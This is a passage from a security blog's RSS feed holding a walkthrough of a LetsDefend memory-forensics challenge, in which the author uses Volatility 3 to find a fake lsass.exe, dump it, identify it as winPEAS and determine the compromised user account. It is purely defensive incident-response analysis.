href=&#34;https://beautifier.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://beautifier.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK Event Triggered Execution: Windows Management Instrumentation Event Subscription:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1546/003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1546/003/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Ipinfo.io:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ipinfo.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ipinfo.io/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend  —  Memory Analysis Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/</link>
            <pubDate>Sun, 18 Feb 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/f03698814f4fdc7013661cdd7d18e06d_MD5.png&#34; alt=&#34;Featured image of post LetsDefend  —  Memory Analysis Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--memory-analysis-challenge-walkthrough&#34;&gt;LetsDefend — Memory Analysis Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;endpoint-investigation-with-volatility-3&#34;&gt;Endpoint Investigation with Volatility 3&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;319px&#34; data-flex-grow=&#34;133&#34; height=&#34;299&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/f03698814f4fdc7013661cdd7d18e06d_MD5.png&#34; width=&#34;398&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h4&gt;&lt;p&gt;Hello!&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s another week, another challenge. This time I&amp;rsquo;m continuing with my write-ups of the practice challenges over at &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;LetsDefend&lt;/a&gt; and will be tackling the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/memory-analysis&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Memory Analysis room&lt;/a&gt;. This room is rated medium difficulty and notes that we can use Volatility, a memory forensics tool to complete it. As always, I want to take the opportunity to give back to the community and do some write-ups as I go through the challenges to help anyone who stumbles across this post to level-up their analysis. I am new to using &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Volatility&lt;/a&gt; and excited to stumble through this challenge while getting some hands-on time with the tool. To keep this blog focused, I am not going to cover the setup for Volatility3 but I will point you to the readme over on their GitHub: &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3#volatility-3-the-volatile-memory-extraction-framework&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/volatilityfoundation/volatility3&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/memory-analysis&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/memory-analysis&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Scenario:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A Windows Endpoint was recently compromised. Thanks to our cutting-edge EDR/IDS solution we immediately noticed it. The alert was escalated to Tier 2 (Incident Responders) for further investigation. As our Forensics guy, you were given the memory dump of the compromised host. You should continue to investigate.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;NOTE: You can use the &lt;a class=&#34;link&#34; href=&#34;https://www.volatilityfoundation.org/releases&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Volatility&lt;/a&gt; for analysis.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;This challenge prepared by &lt;a class=&#34;link&#34; href=&#34;https://www.linkedin.com/in/abdullah-bin-yasin-4b418119a&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;0xCyberJunkie.sh&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;h3 id=&#34;question-1-what-was-the-date-and-time-when-memory-from-the-compromised-endpoint-was-acquired&#34;&gt;Question 1: What was the date and time when Memory from the compromised endpoint was acquired?&#xA;&lt;/h3&gt;&lt;p&gt;Since we&amp;rsquo;re going into this one blindly, let&amp;rsquo;s start to get more familiar with Volatility3 by taking a look at the quick start guide on the &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3#quick-start&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;GitHub page&lt;/a&gt;. It looks like there is a command used to check out what help options we have available within the application. This will help us to tackle the challenge moving forward.&lt;/p&gt;&#xA;&lt;p&gt;python3 vol.py -h&lt;/p&gt;&#xA;&lt;p&gt;Now, the scenario says we are analyzing a memory dump from a &lt;em&gt;Windows&lt;/em&gt; endpoint so let&amp;rsquo;s just scroll through the &lt;em&gt;Windows&lt;/em&gt; modules to see if there is anything that might help us to get some general information about the memory dump. After scrolling through the list, we stumble across this module:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;8727px&#34; data-flex-grow=&#34;3636&#34; height=&#34;22&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/278f82c476ceb7be314720d7e8a5ae5f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This plugin might be a good starting point for our investigation so that we can get some high-level details from the dump file and better understand our victim environment.&lt;/p&gt;&#xA;&lt;p&gt;For context, I had previously downloaded and extracted the challenge file to my &lt;em&gt;Kali Linux&lt;/em&gt; environment for analysis. When we run &lt;em&gt;Volatility&lt;/em&gt; we will point to the challenge file path with the -f parameter and have it use the &lt;strong&gt;windows.info&lt;/strong&gt; plugin.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;4877px&#34; data-flex-grow=&#34;2032&#34; height=&#34;34&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/5e2d7e973dce56d6402037861505bb85_MD5.png&#34; width=&#34;691&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;721px&#34; data-flex-grow=&#34;300&#34; height=&#34;266&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/a7fee780f636e55e7c3d77fedb18fe18_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After running the command, we get the above output. I think the &lt;em&gt;SystemTime&lt;/em&gt; might answer the question — let&amp;rsquo;s confirm that we have the right answer:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1352px&#34; data-flex-grow=&#34;563&#34; height=&#34;142&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/84f1ffeb5048e4ba6878f3a75cc9908f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-was-the-suspicious-process-running-on-the-system-format-nameextension&#34;&gt;Question 2: What was the suspicious process running on the system? (Format : name.extension)&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s leverage &lt;em&gt;Volatility&lt;/em&gt; to dig a bit deeper and understand the running processes at the time the memory dump was taken. If we refer to the help again we have several process options. We&amp;rsquo;ll try the &lt;strong&gt;pslist&lt;/strong&gt; module first to see if we can find anything suspicious. To make this a little easier to read, we&amp;rsquo;ll output this to a text file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2860px&#34; data-flex-grow=&#34;1192&#34; height=&#34;50&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/d655673457865687422c909164b69d3d_MD5.png&#34; width=&#34;596&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3515px&#34; data-flex-grow=&#34;1464&#34; height=&#34;51&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/30f272fe617f7c0720676d095a40b2bd_MD5.png&#34; width=&#34;747&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;If we scroll through our evidence file, nothing initially sticks out as looking too suspicious. There are a few processes that I&amp;rsquo;m unfamiliar with but a quick &lt;em&gt;Google&lt;/em&gt; refresher confirms that everything appears legitimate. Maybe we need some more detail? Let&amp;rsquo;s pivot and try something else process related — the &lt;strong&gt;pstree&lt;/strong&gt; module could be interesting.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2870px&#34; data-flex-grow=&#34;1195&#34; height=&#34;48&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/4b530443302fe76f4b500dd876cfdfdf_MD5.png&#34; width=&#34;574&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3444px&#34; data-flex-grow=&#34;1435&#34; height=&#34;51&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/d352abc8ab977a88450d42706f6d3b82_MD5.png&#34; width=&#34;732&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After looking over the output a few times, I still don&amp;rsquo;t see anything obvious (like &lt;em&gt;evil.exe&lt;/em&gt; or something) sticking out. We are definitely missing something. Let&amp;rsquo;s brush up on normal &lt;em&gt;Windows&lt;/em&gt; processes behavior using the excellent &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/hunt-evil/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;SANS Hunt Evil&lt;/a&gt; reference graphic.&lt;/p&gt;&#xA;&lt;p&gt;After looking this over, I think I see something. Let&amp;rsquo;s revisit the &lt;strong&gt;pstree&lt;/strong&gt; output and dial-in on the &lt;em&gt;lsass.exe&lt;/em&gt; (PID 7592) processes.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;721px&#34; data-flex-grow=&#34;300&#34; height=&#34;219&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/6fa9c23d55e6b7e5e59a23e593f17e1f_MD5.png&#34; width=&#34;658&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;SANS Hunt Evil reference for lsass.exe&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s compare the artifacts from the victim system to the &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/hunt-evil/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;SANS reference&lt;/a&gt;. Look closely at the below instance of &lt;em&gt;lsass.exe&lt;/em&gt; (PID 7592) from the &lt;strong&gt;pstree&lt;/strong&gt; output. There are a couple of red flags that we notice if we compare to the normal behavior documented above:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;489px&#34; data-flex-grow=&#34;204&#34; height=&#34;588&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/e6a7cba4d1783042078663c40fc9d362_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/e6a7cba4d1783042078663c40fc9d362_MD5_hu_b032468bd743976c.png 800w, https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/e6a7cba4d1783042078663c40fc9d362_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The first red flag is the parent process ID (PPID) of this &lt;em&gt;lsass.exe&lt;/em&gt; process. According to the SANS reference, this should be &lt;em&gt;wininit.exe&lt;/em&gt; (PID 500) but the parent process for this &lt;em&gt;lsass.exe&lt;/em&gt; is actually 3996 (&lt;em&gt;explorer.exe) —&lt;/em&gt; That seems suspicious and definitely requires some further investigation&amp;hellip;&lt;/li&gt;&#xA;&lt;li&gt;The second red flag is the image path of the executable. Take a close look and notice that the image path is %SystemRoot%*&lt;em&gt;System&lt;/em&gt;*\lsass.exe and NOT the expected path %SystemRoot%*&lt;em&gt;System32&lt;/em&gt;*\lsass.exe — this is a subtle evasion technique.&lt;/li&gt;&#xA;&lt;li&gt;Earlier, I mentioned &lt;em&gt;lsass.exe&lt;/em&gt; process&lt;strong&gt;es&lt;/strong&gt; — this is the third red flag, there are two instances of this process. This is something that should have tipped us off after running the &lt;strong&gt;pslist&lt;/strong&gt; command (whoops!) If we search for &lt;em&gt;lsass.exe&lt;/em&gt; and grep the output to the terminal we now see clearly that there are two different instances&amp;hellip;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3692px&#34; data-flex-grow=&#34;1538&#34; height=&#34;78&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/b437a71b764c9309e0aa22d4d4cce1ae_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/b437a71b764c9309e0aa22d4d4cce1ae_MD5_hu_e809087e0c8d8412.png 800w, https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/b437a71b764c9309e0aa22d4d4cce1ae_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are two!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;10285px&#34; data-flex-grow=&#34;4285&#34; height=&#34;28&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/f21d5aae71d0d5f874ebfee0852c79b0_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/f21d5aae71d0d5f874ebfee0852c79b0_MD5_hu_f31878d6e4649f2a.png 800w, https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/f21d5aae71d0d5f874ebfee0852c79b0_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The suspicious lsass.exe&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;10666px&#34; data-flex-grow=&#34;4444&#34; height=&#34;27&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/c7b1931e08e3d62f62ce5cdd77b24be9_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/c7b1931e08e3d62f62ce5cdd77b24be9_MD5_hu_fbec87f4894a60c3.png 800w, https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/c7b1931e08e3d62f62ce5cdd77b24be9_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The legitimate lsass.exe&lt;/p&gt;&#xA;&lt;p&gt;After focusing the analysis and comparing the known process behavior for &lt;em&gt;lsass.exe&lt;/em&gt; (PID 7592)&lt;em&gt;,&lt;/em&gt; I think we can be pretty confident that we have identified the suspicious process. Let&amp;rsquo;s submit the answer and confirm.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1333px&#34; data-flex-grow=&#34;555&#34; height=&#34;144&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/e6a7f3c938474a4978ee340af0b1d864_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-analyze-and-find-the-malicious-tool-running-on-the-system-by-the-attacker-format-nameextension&#34;&gt;Question 3: Analyze and find the malicious tool running on the system by the attacker (Format name.extension)&#xA;&lt;/h3&gt;&lt;p&gt;Now that we have uncovered the suspicious process, we will need to perform further analysis on the tool. Let&amp;rsquo;s circle back to the &lt;em&gt;Volatility3&lt;/em&gt; help command. In addition to the general help file, &lt;em&gt;Volatility&lt;/em&gt; also offers help for the individual plugins options:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3388px&#34; data-flex-grow=&#34;1411&#34; height=&#34;85&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/2968da446f9b0ebb582fdab1d8051f5c_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/2968da446f9b0ebb582fdab1d8051f5c_MD5_hu_fd9456d3e4cf4742.png 800w, https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/2968da446f9b0ebb582fdab1d8051f5c_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since we know what process ID we want to analyze, maybe we can use &lt;strong&gt;pslist&lt;/strong&gt; again to dump the running process from the memory dump file? Let&amp;rsquo;s try the help command for that specific plugin.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;943px&#34; data-flex-grow=&#34;393&#34; height=&#34;175&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/8ef51d1b15de513f327b899fae8f1ad8_MD5.png&#34; width=&#34;688&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Awesome! There is a dump option. Once we feed &lt;em&gt;Volatility&lt;/em&gt; the PID, we should get a file output to analyze.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2360px&#34; data-flex-grow=&#34;983&#34; height=&#34;122&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/869fd5df3071630d95d065703b47b5bb_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/869fd5df3071630d95d065703b47b5bb_MD5_hu_aaa11008ae80d3de.png 800w, https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/869fd5df3071630d95d065703b47b5bb_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Great, it worked! Let&amp;rsquo;s get to work on gathering some intelligence and see if we get any hits on &lt;em&gt;VirusTotal&lt;/em&gt; or &lt;em&gt;Hybrid Analysis&lt;/em&gt;. First we&amp;rsquo;ll grab a hash of the file which will help us document our indicators of compromise; we can do this right from the terminal:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3200px&#34; data-flex-grow=&#34;1333&#34; height=&#34;60&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/458800ab8fc94eb4506c4464c6d58d12_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then, let&amp;rsquo;s search &lt;em&gt;VirusTotal for&lt;/em&gt; any hits&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1170px&#34; data-flex-grow=&#34;487&#34; height=&#34;164&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/bb1b5ad5de846d8f19a5c8b1a5b1b5fa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay — We&amp;rsquo;ve got a lot of detection and additional analysis for this tool now and we can confirm that it is malicious. For our challenge, we are looking for the name of the malware. &lt;em&gt;VirusTotal&lt;/em&gt; has the filename listed as &lt;em&gt;winPEAS.exe —&lt;/em&gt; let&amp;rsquo;s submit our finding and see if we are on the right track.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1777px&#34; data-flex-grow=&#34;740&#34; height=&#34;108&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/1ae2b798b94e8aefa4066b30322672a5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-which-user-account-was-compromised-format-domainnameusername&#34;&gt;Question 4: Which User Account was compromised? Format (DomainName/USERNAME)&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;re going to jump back into &lt;em&gt;Volatility&lt;/em&gt; to try and scope the impact of this malware and look for which user on the system was compromised. All of our previous process analysis has not given us much user information yet. Once again, we&amp;rsquo;ll turn to the &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#getsids&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Volatility command reference&lt;/a&gt; for a starting point:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;To view the SIDs (Security Identifiers) associated with a process, use the getsids command. Among other things, this can help you identify processes which have maliciously escalated privileges and &lt;strong&gt;which processes belong to specific users.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3469px&#34; data-flex-grow=&#34;1445&#34; height=&#34;35&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/b1f50fb6702d9927d839d89343718816_MD5.png&#34; width=&#34;506&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This plugin sounds like it could be what we are looking for to uncover additional information. Since we know the PID (7592) of the malicious executable, let&amp;rsquo;s also see if we can get any info about the user account that ran it. We can run the &lt;strong&gt;getsids&lt;/strong&gt; plugin and grep the malicious PID to the output. Hopefully, this will list out the security identifier (&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;SID&lt;/a&gt;) of the user.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;5333px&#34; data-flex-grow=&#34;2222&#34; height=&#34;36&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/c5112484570986f252e737a920ffaafa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;738px&#34; data-flex-grow=&#34;307&#34; height=&#34;260&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memory-analysis-challenge-walkthrough/10af10e0c7953b7e9dc9fdd3aded0c5f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we go! It looks like the top result is the user account, &lt;em&gt;CyberJunkie.&lt;/em&gt; Even though we have the domain identifier in the SID, we still need to find the domain name to complete the question.&lt;/p&gt;&#xA;&lt;p&gt;If we go back to search the built-in help and the command line reference, we don&amp;rsquo;t see anything that references a domain specifically. We will have to get creative and go a little deeper. Let&amp;rsquo;s give the command line reference one more look for anything that could give us more information generally. What about the &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#envars&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;envars&lt;/strong&gt;&lt;/a&gt; plugin? This sounds like it could reveal some new, relevant artifacts.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;To display a process&amp;rsquo;s environment variables, use the envars plugin. Typically this will show the number of CPUs installed and the hardware architecture (though the &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;kdbgscan&lt;/a&gt; output is a much more reliable source), the process&amp;rsquo;s current directory, temporary directory, session name, computer name, user name, and various other interesting artifacts.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In a Windows domain, the USERDOMAIN environment variable contains the workgroup or domain that a user belongs to. I&amp;rsquo;m thinking that we can try the same method that we did to get the account SID and grep the malicious PID?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;415px&#34; 